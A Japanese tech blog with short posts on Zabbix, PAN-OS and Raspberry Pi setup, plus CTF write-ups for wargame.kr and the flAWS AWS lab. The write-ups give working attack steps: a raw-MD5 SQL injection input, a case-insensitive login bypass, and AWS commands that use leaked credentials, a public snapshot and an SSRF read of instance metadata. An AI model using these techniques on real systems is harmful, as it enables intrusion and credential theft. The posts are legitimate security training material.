shinobe179の日記

パケットの気持ちになって考えるのはもうやめだ

【Zabbix】pyzabbix と py-zabbix の違い

はじめに

はじめて使った Zabbix APIPython ラッパーは pyzabbix でした。

github.com

記事も書いてます。

befs-anne.hatenablog.com

しかし、最近はご縁があって(?) py-zabbix というまた別のラッパーを使っています。

github.com

ざっくり、それぞれの使い方をメモしておきます。

インストール

実際のところよく分からないけど、ひとつの環境内で pyzabbix と py-zabbix は同居できないっぽい。

pyzabbix

$ pip install pyzabbix

py-zabbix

$ pip install py-zabbix

インスタンスの作成、ログイン、値の取得

py-zabbix のほうが、インスタンスの作成とログインが同時にできて楽な印象です。

pyzabbix

from pyzabbix import ZabbixAPI

zapi = ZabbixAPI('https://zabbix.example.com')
zapi.login("Admin", "zabbix")
zapi.host.get(search={"name: "prod"}, output=["name", "available"])

py-zabbix

from zabbix.api import ZabbixAPI

zapi = ZabbixAPI('https://zabbix.example.com', user='Admin', password='zabbix')
zapi.do_request('host.get', {'search: {'name': 'prod'}, 'output': ['name']})

【Palo Alto】設定ファイルの表示形式を切り替える

はじめに

Palo Alto(PAN-OS) の CLI 、 Junos に近い使い心地で気に入っています。 CLI に慣れる過程で調べたことを記事にしていきます。

今回は、 設定ファイルの表示形式の切り替えです。

コマンド

PAN-OS には Junos のように display set がなく、かわりに以下のコマンドを実行して、 show コマンド自体の出力フォーマットを変更します。。 configuration モード(#) で先頭に run を付けて実行しても OK です。

> set cli config-output-format json|xml|set

configuration モード(#)で実行する showコマンドでだけ指定したフォーマットで表示され、 show config running などでは json で表示されます。

私は json と set を用途に応じて使い分ける感じです。特に set フォーマットは一行あたりの情報が多く、そのまま設定投入コマンドとして流用できるので、手順作成に重宝します。

参考

live.paloaltonetworks.com

【メモ】Raspberry Piの無線LAN設定もろもろ

概要

RaspberryPiの調子が悪くてGUIが使えないっぽかったので、無線LANの設定をGUIでやったのでメモしておきます。なにせラズパイの調子が悪いので、繋がるまでを見届けていないという点は未来の自分に伝えておきたい。

飛んでる無線のESSIDの確認

$ sudo iwlist wlan0 scan | grep ESSID

接続するESSIDの指定

パスワード(事前共有鍵)もこのファイル内で指定。めんどくさくて平文で書いたけどwpa_passphraseで暗号化したほうがいい。

$ vim /etc/wpa_supplicant/wpa_supplicant.conf

設定の反映(ここ未確認)

要再起動という情報もあったけど、インターフェイスのUp/Downでいけるっぽい。

$ sudo ifconfig wlan0 down
$ sudo ifconfig wlan0 up

# ipコマンドでやるのがモダンなんじゃないのとも思う
$ sudo ip link set dev wlan0 down
$ sudo ip link set dev wlan0 up

参考

dev.classmethod.jp

qiita.com

追記

Ubuntuにはwpa_supplicant.confがなくて、NetworkManager関連のファイルとして存在していた(grep -r "{{ SSID }}"して見つけた)。

/etc/NetworkManager/system-connections

【CTF】wargame writeup

概要

wargameを始めたので、writeupを書いていきます。随時更新。

wargame.kr

already got

開発者ツールを開いてページを更新すると、FLAGというレスポンスヘッダーがついています。

free button

マウスの動きに合わせてボタンが逃げ回る。開発者ツールを確認すると、ボタンにonclick="window.location='?key=6cdf;"という属性がついていることが分かります。http://wargame.kr:8080/flee_button/?=6cdfにアクセスするとflagがあります。開発者ツールのコンソールからdocument.getElementsByTagName("input")[0].click();を実行して、擬似的にボタンを押すのでもOKです。ボタンにはid属性がなかったので、定番?のdocument.getElementById().click();できなかったのが大変でした。

QR CODE PUZZLE

バラバラのQRコードを揃えます。開発者ツールを開くとsytle属性にurl("./img/qr.png")とあるので、http://wargame.kr:8080/qr_code_puzzle/img/qr.pngにアクセスすると完全なQRコードが現れます。後は読みこむだけ。http://qrcode.red/

login filtering

ログインフォームの突破。以下のアカウントが存在しており、いずれもログインを拒否されていることが問題文やソースに記載されています。

<!--

you have blocked accounts.

guest / guest
blueh4g / blueh4g1234ps

-->

IDとパスワードの代入からSQL組み立て、アカウント判定までのロジックは以下の通り。

$id = mysql_real_escape_string(trim($_POST['id']));
  $ps = mysql_real_escape_string(trim($_POST['ps']));

  $row=mysql_fetch_array(mysql_query("select * from user where id='$id' and ps=md5('$ps')"));

  if(isset($row['id'])){
   if($id=='guest' || $id=='blueh4g'){
    echo "your account is blocked";
   }else{
    echo "login ok"."<br />";
    echo "Password : ".$key;
   }
  }else{
   echo "wrong..";
  }
 }

MySQLは文字列の検索時に大文字と小文字を区別しないらしい。それを利用して、idをGuest、パスワードをguestとすると、id=guestのレコードが返され、if($id=='guest' || $id=='blueh4g'){の判定は(こっちは大文字小文字区別するので)すり抜けます。id=guest、ps=Guestでもいいのでは?と思ったのですが、psのほうはクエリの時点でMD5でハッシュ化しており、大文字小文字が違うと別の結果が出るので通りません。

WTF CODE

ソースコードをダウンロードすると空白文字がたくさん。Writeupを見て「Whitespace」なるプログラミング言語の存在を知りました。

https://ja.wikipedia.org/wiki/Whitespace

ブラウザ上でWhitespaceを実行できるサイトを使いました。はじめエラーが出たのですが、最終行に改行を入れたらflagが出力されました。 https://naokikp.github.io/wsi/whitespace.html

fly me to the moon

激ムズな避けゲー。時間経過でscoreが上がっていき、側壁に激突したらゲームオーバー。31337点以上取るとflagが表示されます。Writeupや開発者ツールを見て、以下のような挙動であることを確認しました。

  • 約10秒毎にtoken.phpをGETしにいく
    • 最大4ケタ?の数字が返される
  • ゲームオーバーと同時にhigh-scores.phpをPOSTする
    • リクエストパラメータとして、scoreのほかに直前にGETしたtoken.phpの値を送信する
      • サーバーは、リクエストのtokenと、直前にレスポンスしたtoken.phpの値とを比較し、異なる場合はチートと判断する

high-scores.phpをローカルプロキシで止めてscoreをノルマ以上に書き換え、約10秒間隔で更新されるtokenの値をタイミングよく更新して送信する必要があます。華麗にJSを書いて捌くなんてことはまだできないので、以下のようにBurp Proxyとtsharkを使って泥臭くflagをとりました。

  • Burp proxyでhigh-scores.phpへのリクエストのみを止めるように設定する。
  • ターミナルでtshark -Tjson src host 175.207.12.40 and port 8080 | grep http.file_dataを実行する。
  • ゲームスタート。すぐに自爆。
  • Burpがhigh-scores.phpへのリクエストを止めているので、scoreを十分大きい値に書き換える。
  • ターミナルに表示されるhttp.file_dataの値が更新されたら、すぐさまBurpのtokenを書き換えてForwardする。

後から「ゲームオーバーした後のtoken.phpをBurpで止めておけば、high-scores.phpをリクエストする直前のtoken.phpの値をゆっくり書き写して送信できるのでは?」と思って試したんですがダメでした。サーバーが直前にレスポンスした値と同じでありさえすればよいのだと思っていたのですが……。

md5 password

一見、入力したパスワードのハッシュがテーブル内にあれば成功です。

$row=@mysql_fetch_array(mysql_query("select * from admin_password where password='".md5($ps,true)."'"));

説明文によると、PHPMD5()の第2引数は、trueならバイナリで、falseなら16進数で出力するということのようです。だから、Writeup曰く、もしもハッシュが'or'を含んでいると、SQLインジェクションが成立します。これには感動しました。

select * from admin_password where password='' or ''

そして、以下の値のハッシュはそのような形式になります。

129581926211651571912466741651878684928

# 検証
$ echo -n 129581926211651571912466741651878684928 | md5sum | xxd -r -p
�T0D�#��'or'8

送信すると、「8」の部分がtrue判定され、SQLインジェクションが成立します。

【Ansible】f5-ansibleに上げたissueが実装された話

概要

タイトルの通りです。OSSに何らかの作用を及ぼしたのが初めてだったので記念パピコ

github.com

内容

bigip_virtual_serverというモジュールは、VSに設定するiRuleをリスト形式で複数持ちます。検証していたら、既存のVSにアタッチされているiRuleの順番をplaybook上で入れ替えても、その順番が実機に反映されないということに気が付きました。 「iRuleを入れ替える」ってオペレーションはそれほどないとは思いますが、例えばplaybook編集時のミスで順番を間違えてしまった時などに不便だなーと思い、issueを上げました。

世のBIG-IPオペレーターはiRuleの順番をpriorityで管理しているらしい

BIG-IPと出会ってから数年、iRuleに関しては「上にあるiRuleを先に評価する」「スイッチのACLとは違って最後の1行まで全部評価する」という2つのルールだけでやってきたのですが、issue内でのやりとりではじめてiRuleのpriorityという仕様を知ります。ニワカが過ぎる。

https://devcentral.f5.com/s/articles/the101-irules-101-events-amp-priorities

これをサジェストされた時点で、「priorityあるからそっち使え、お前のリクエストは聞かぬ」ってことだと思って放置してたんだけど、しばらくしたらbacklogってタグが付けられました。

無事実装

それから3ヶ月ぐらいして、あれどうなったかなーと思って見てみたらissueがクローズしていました。この記事書いてる時点で検証できてないけど、更新差分見る限り直ってる気がする。

github.com

調子こいて最初のpostで「ここがよくないんじゃね?」ってサジェストしたあたりも直ってました。

今後

TeraTermマクロも書けなかったゴミクズが、OSSいじってソース読んでリクエスト出せるまでになった…立派になって…。f5-ansibleは外部からのプルリク受け付けてないみたいだけど、今後はそういうこともやっていきたいです。もちろん、Ansibleの検証自体もやっていきな感じです。

【CTF】flAWS Writeup

概要

先日から取り組み始めたflAWS、ひとつの記事にWriteupをまとめていくことにした。

Level 1

以下の記事の通り。

befs-anne.hatenablog.com

  • 教訓
    • S3は作られた直後の状態が最もセキュア
    • パーミッションの「everyone」は「everyone on the Internet」という意味
    • 静的ウェブサイトの公開手段と混同しないよう気をつける

Level 2

「The next level is fairly similar, with a slight twist.」って書いてあったけど、 Level 1と同じ手法で次のレベルのリンクが出てきた。Level 1では「everyone」にList権限を与えたが、Level 2では「Any Authenticated AWS User」にListの許可を与えため、自前のAWSアカウントが必要だったということみたい。Level 1に取り組む前からAWSCLIにはプロファイルを設定してあったので、実質違いはなかった。

  • 教訓
    • 「Any Authenticated AWS User」も同じく注意

Level 3

aws s3 ls すると.gitディレクトリがある。aws s3 syncでローカルに落としてきてgit logでコミット履歴を見ると、以下の通りやらかしてる感じのコミットが。

$ git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit

git reset --hard f52ec03b227ea6094b04e43f475fb0126edb5a61でfirst commitまで戻ると、access_keys.txtといういかにもがファイルが復元。中身はAWSのシークレットキーとアクセスキーIDが書かれていた。

以下を参考に~/.aws/config~/.aws/credentialにflawsプロファイルを作った。

qiita.com

ここから動きに迷ってしまって、.git内のオブジェクトをzlibで解凍して中身を見たりするなかでhintを見てしまい、flawsプロファイルを指定しかつバケットのパスを指定せずにaws s3 lsコマンドを実行すると、指定したプロファイル(:=AWSアカウント)が持つバケットの一覧が見れることを思い出す。案の定、次レベルのFQDNが判明した。

$ aws --profile flaws s3 ls
2017-02-13 06:31:07 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2017-05-30 01:34:53 config-bucket-975426262029
2017-02-13 05:03:24 flaws-logs
2017-02-05 12:40:07 flaws.cloud
2017-02-24 10:54:13 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 03:15:44 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2017-02-27 03:16:06 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2017-02-27 04:44:51 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2017-02-27 04:47:58 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2017-02-27 05:06:32 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud
  • 教訓
    • クレデンシャルが流出したら速やかに無効にして、新しいクレデンシャルを作り直す
    • S3バケットは特定のバケットのみをリストさせることができない
      • …って書いてあったと思うけど、そうだっけ?
      • s3 lsバケット一覧を見せた時に、特定のバケットだけを隠すことができない、ということかな(これも正否は不明)?

Level 4

EC2上で稼働するNginxのベーシック認証を破って、Level 5へのリンクがあるページを見たい。「It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.」というヒントが既に出ており、Level 3で取得したクレデンシャルを使ってaws --profile flaws ec2 describe-snapshotsでスナップショットの一覧を確認すると、「Name: flaws backup 2017.02.27」というタグがついたスナップショットがある。ここからどうにかしてスナップショットの中身を見たいのだが、自力ではここでお手上げ。

ヒントを見ると、まずはaws sts get-caller-identityAWSアカウントIDを確認してみようとのこと。

dev.classmethod.jp

結果は以下。

$ aws --profile flaws sts get-caller-identity
{
    "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/backup"
}

ユーザー名の通り、前述のスナップショットもこのアカウントで取得しているのだろうという見立てのもと、アカウントIDを条件にしてaws ec2 describe-snapshotsを実行すると、やはり先ほどのタグがついたスナップショットが出てきた。

$ aws --profile flaws  ec2 describe-snapshots --owner-id 975426262029 --region us-west-2
{
    "Snapshots": [
        {
            "Description": "",
            "Encrypted": false,
            "OwnerId": "975426262029",
            "Progress": "100%",
            "SnapshotId": "snap-0b49342abd1bdcb89",
            "StartTime": "2017-02-28T01:35:12.000Z",
            "State": "completed",
            "VolumeId": "vol-04f1c039bc13ea950",
            "VolumeSize": 8,
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "flaws backup 2017.02.27"
                }
            ]
        }
    ]
}

以下を参照すると、スナップショットを公開するにはcreateVolumePermission属性のGroupをallに設定する必要があるらしい。

docs.aws.amazon.com

aws ec2 describe-snapshot-attributeで確認すると、そのようになっていた。

$ aws --profile flaws ec2 describe-snapshot-attribute --snapshot-id snap-0b49342abd1bdcb89 --attribute createVolumePermission --region us-west-2
{
    "CreateVolumePermissions": [
        {
            "Group": "all"
        }
    ],
    "SnapshotId": "snap-0b49342abd1bdcb89"
}

自分のアカウントにこのスナップショットをコピーできるということが分かったので、aws ec2 create-volumeをsnapshot-idを指定して実行する。

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89

自分のアカウントで、このボリュームを持ったEC2を立てる(GUIで実施)。最初からマウントしているわけではないので、EC2にログインして自分でマウントする。

$ lsblk
NAME    MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda    202:0    0   8G  0 disk 
└─xvda1 202:1    0   8G  0 part /
xvdb    202:16   0   8G  0 disk 
└─xvdb1 202:17   0   8G  0 part 

$ sudo mkdir /mnt/xvdb1
$ sudo mount /dev/xvdb1 /mnt/xvdb1

/etc/nginxの中を見ると、.htpasswdファイルが。

$ cat .htpasswd 
flaws:$apr1$4ed/7TEL$cJnixIRA6P4H8JDvKVMku0

.htpasswdの存在は知っていたものの、中身を見るのは初めて。平文を知るためにソルト付きMD5の復号とかアホみたいなこと調べたりしつつお手上げ。ヒントを見ると、マウントしたボリューム内の/home/ubuntuディレクトリに、平文のパスワードを引数にhtpasswdコマンドを実行するシェルスクリプトがあることが発覚。んなアホな……。

  • 教訓
    • バックアップの共有範囲に注意する。
    • 稼働しているEC2自体はセキュアでも、そのスナップショットを作成し攻撃者の環境で起動されたら中身を見られてしまう。
    • find {ディレクトリ} -mtime -{日数}で更新されたファイルが分かる。
      • /var/*などの頻繁に更新が行われるディレクトリは適宜grep -vなどでフィルタする。
    • 当たりをつけるのは大事だけど、とりあえず全探索してみる

Level 5

HTTPプロキシとして稼働するEC2を利用して、Level 6のコンテンツが格納されているディレクトリ(これもS3にホストしているので、S3的にはキーと呼ぶのが適切か?)を探す問題。

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254にアクセスするとこのEC2のインスタンスメタデータが丸見えになっていて、階層を降りていってhttp://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flawsまで来ると、アクセスキーID、シークレットアクセスキー、トークンが確認できる。

これをawscliのクレデンシャルに設定して悪さをすることはこれまでの課題から想像できるが、今回はこれらに加えてトークンもaws_access_tokenとして設定する必要がある。

Level 5の課題からLevel6のバケット名は分かっているので、新しいプロファイルでaws s3 lsすれば中身が見える。

$ aws --profile flaws2 s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
                           PRE ddcc78ff/
2017-02-27 11:11:07        871 index.html

一応、今回のクレデンシャルでのsts get-caller-identity

$ aws --profile flaws2 sts get-caller-identity
{
    "UserId": "AROAI3DXO3QJ4JAWIIQ5S:i-05bef8a081f307783",
    "Account": "975426262029",
    "Arn": "arn:aws:sts::975426262029:assumed-role/flaws/i-05bef8a081f307783"
}

Level 6

最初から新しいクレデンシャルを提示される。このユーザーはSecurityAuditポリシーがアタッチされているらしい。

docs.aws.amazon.com

ポリシー名からしてログみたりするのかなと思って、aws logsなどしてみるも挫折。ヒントを見たらまずIAMを確認せよとのこと。そりゃそうだ。ユーザー名はlevel6

$ aws --profile flaws6 iam get-user
{
    "User": {
        "Path": "/",
        "UserName": "Level6",
        "UserId": "AIDAIRMDOSCWGLCDWOG6A",
        "Arn": "arn:aws:iam::975426262029:user/Level6",
        "CreateDate": "2017-02-26T23:11:16Z"
    }       
}

次いで、このユーザーに割り当てられているポリシーの確認。MySecurityAuditの他にlist_apigatewaysというポリシーが割り当たっている。

$ aws --profile flaws6 iam list-attached-user-policies --user-name level6
{
    "AttachedPolicies": [
        {
            "PolicyName": "list_apigateways",
            "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
        },
        {   
            "PolicyName": "MySecurityAudit",
            "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
        }
    ]       
}

list_apigatewaysでできることを確認。

$ aws --profile flaws6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
{
    "Policy": {
        "PolicyName": "list_apigateways",
        "PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
        "Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "List apigateways",
        "CreateDate": "2017-02-20T01:45:17Z",
        "UpdateDate": "2017-02-20T01:48:17Z"
    }
}

バージョンを指定して詳細を確認すると、arn:aws:apigateway:us-west-2::/restapis/*に対してapigateway:GETが許可されていることが分かる。

$ aws --profile flaws6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": [
                        "apigateway:GET"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2017-02-20T01:48:17Z"
    }
}

SecurityAuditを濫用して、Lambdaを見てみると、Level6という関数があることが分かる。発想をAPI GatewayからLambdaへ繋げられなかったのは反省。

$ aws --region us-west-2 --profile flaws6 lambda list-functions
{                                                         
    "Functions": [
        {   
            "FunctionName": "Level6",
            "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
            "Runtime": "python2.7",
            "Role": "arn:aws:iam::975426262029:role/service-role/Level6",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 282,
            "Description": "A starter AWS Lambda function.",          
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2017-02-27T00:24:36.054+0000",
            "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
        }
    ]
}

関数名を引数に、aws lambda get-policyを実行。s33ppypa75REST API IDという値らしい。

$ aws --region us-west-2 --profile flaws6 lambda get-policy --function-name Level6
{
    "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}}]}",
    "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
}

REST API IDを引数にaws apigateway get-stagesを実行。ステージがProdであることが判明。

$ aws --profile flaws6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"
{
    "item": [
        {
            "deploymentId": "8gppiv",
            "stageName": "Prod",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "tracingEnabled": false,
            "createdDate": 1488155168,
            "lastUpdatedDate": 1488155168
        }
    ]
}

これまでの情報で、APIのURLがhttps://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6であることが分かるので、アクセスすると最後のページのURLがレスポンスされる。

  • 教訓
    • 読み取り権限であっても、最小権限の法則を徹底する。

おわりに

AWSはプロダクト毎に異なる権限管理機構があるので、それら全てに気を配らなければならない。単一アカウント内であればAWS ConfigやCloudTrail、複数アカウントに渡る場合はOrganizationsやControl Centerなどを駆使して、仕組みでカバーしていかないと絶対漏れる。そういう仕組みを構築する一方で、万が一のインシデント発生時に備えて、flawsのようにAWS CLIでスピーディーに原因を特定する訓練は必要だと感じた。

【flAWS】Level 1 S3 backet

概要

AWS の勉強がてら 「 flAWS 」をやっていこうと思う。レベルいくつまであるんだろ?

flaws.cloud

writeup

Level 1 は S3 の問題。「 flaws.cloud 」を dig して帰ってきた IP アドレスを逆引きすると、 flAWS が us-west-2 リージョンの S3 の静的サイトホスティング機能を使って稼働していることが分かる。

$ dig flaws.cloud

; <<>> DiG 9.10.3-P4-Ubuntu <<>> flaws.cloud
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9027
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;flaws.cloud.           IN  A

;; ANSWER SECTION:
flaws.cloud.        4   IN  A   52.218.245.99

;; Query time: 50 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Thu Nov 07 23:31:30 JST 2019
;; MSG SIZE  rcvd: 56

$ host 52.218.245.99
99.245.218.52.in-addr.arpa domain name pointer s3-website-us-west-2.amazonaws.com.

S3 で静的サイトホスティングする場合、バケット名はそのサイトの FQDN と同一でなければならないので、 バケット名が flaws.cloud であることが分かる。おもむろに aws コマンドで s3 ls してみると、secret-dd02c7c.html というファイルが。

$ aws s3 ls s3://flaws.cloud/ --region us-west-2
2017-03-14 12:00:38       2575 hint1.html
2017-03-03 13:05:17       1707 hint2.html
2017-03-03 13:05:11       1101 hint3.html
2018-07-11 01:47:16       3082 index.html
2018-07-11 01:47:16      15979 logo.png
2017-02-27 10:59:28         46 robots.txt
2017-02-27 10:59:30       1051 secret-dd02c7c.html

flaws.cloud/secret-dd02c7c.html にアクセスしてみると、 Level 2 への扉が開かれる。余談だが、自身のドメインを持っていなかったとしても、 S3 の静的サイトホスティングを設定した段階で、 flAWS の場合だと http://flaws.cloud.s3-website-us-west-2.amazonaws.com/ というドメインが与えられ、ここからもアクセスできる。